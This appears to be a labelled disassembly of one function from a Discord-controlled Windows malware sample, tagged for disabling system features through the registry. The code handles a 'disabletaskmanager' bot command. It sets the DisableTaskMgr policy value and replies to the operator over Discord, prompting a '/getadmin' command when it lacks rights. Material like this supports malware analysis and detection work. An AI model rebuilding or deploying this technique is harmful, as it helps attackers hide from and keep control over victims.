Function at 0x140058ee0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x1400a1080]
xor rax, rbp
mov qword [rbp + 0x438], rax
mov dword [rbp + 0x404], 0
lea rcx, [0x1400b11be]
call fcn.14002b720
mov rax, qword [rbp + 0x468]
add rax, 0x40
mov qword [rbp + 0x418], rax
lea rdx, [rbp + 0x248]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov qword [rbp + 0x420], rax
mov eax, dword [rbp + 0x404]
or eax, 1
mov dword [rbp + 0x404], eax
lea rdx, str.disabletaskmanager
mov rcx, qword [rbp + 0x420]
call fcn.14002a956
movzx eax, al
test eax, eax
je 0x140058fc8
mov rax, qword [rbp + 0x468]
add rax, 0xd0
mov qword [rbp + 0x428], rax
mov rdx, qword [0x1400a2b50]
mov rcx, qword [rbp + 0x428]
call fcn.14002b58b
movzx eax, al
test eax, eax
je 0x140058fc8
mov dword [rbp + 0x430], 1
jmp 0x140058fd2
mov dword [rbp + 0x430], 0
movzx eax, byte [rbp + 0x430]
mov byte [rbp + 0x224], al
mov eax, dword [rbp + 0x404]
and eax, 1
test eax, eax
je 0x140058fff
and dword [rbp + 0x404], 0xfffffffe
lea rcx, [rbp + 0x248]
call fcn.14002a44c
movzx eax, byte [rbp + 0x224]
test eax, eax
je 0x1400591b9
mov rax, qword [rbp + 0x460]
cmp dword [rax], 0
je 0x140059131
lea rax, [rbp + 0x288]
mov qword [rbp + 0x2e8], rax
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x428], rax
lea rdx, str.attempting_to_disable_task_manager
lea rcx, [rbp + 0x308]
call fcn.14002aac3
nop
mov r8, qword [rbp + 0x428]
lea rdx, [rbp + 0x308]
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x308]
call fcn.14002a44c
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp + 8], rax
lea rax, str.DisableTaskMgr
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x44], 1
lea rax, [rbp + 0x84]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400591b7
mov rax, qword [rbp + 0x460]
cmp dword [rax], 0
jne 0x1400591b7
lea rax, [rbp + 0x348]
mov qword [rbp + 0x3a8], rax
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x428], rax
lea rdx, str.you_are_not_admin_you_need_admin_to_run_this_command_run__getadmin
lea rcx, [rbp + 0x3c8]
call fcn.14002aac3
nop
mov r8, qword [rbp + 0x428]
lea rdx, [rbp + 0x3c8]
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x3c8]
call fcn.14002a44c
jmp 0x1400591cc
lea rdx, str.not_for_me_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002a2a8
lea rcx, [rbp - 0x50]
lea rdx, [0x140089660]
call fcn.14002b2e8
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.14002ab77
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret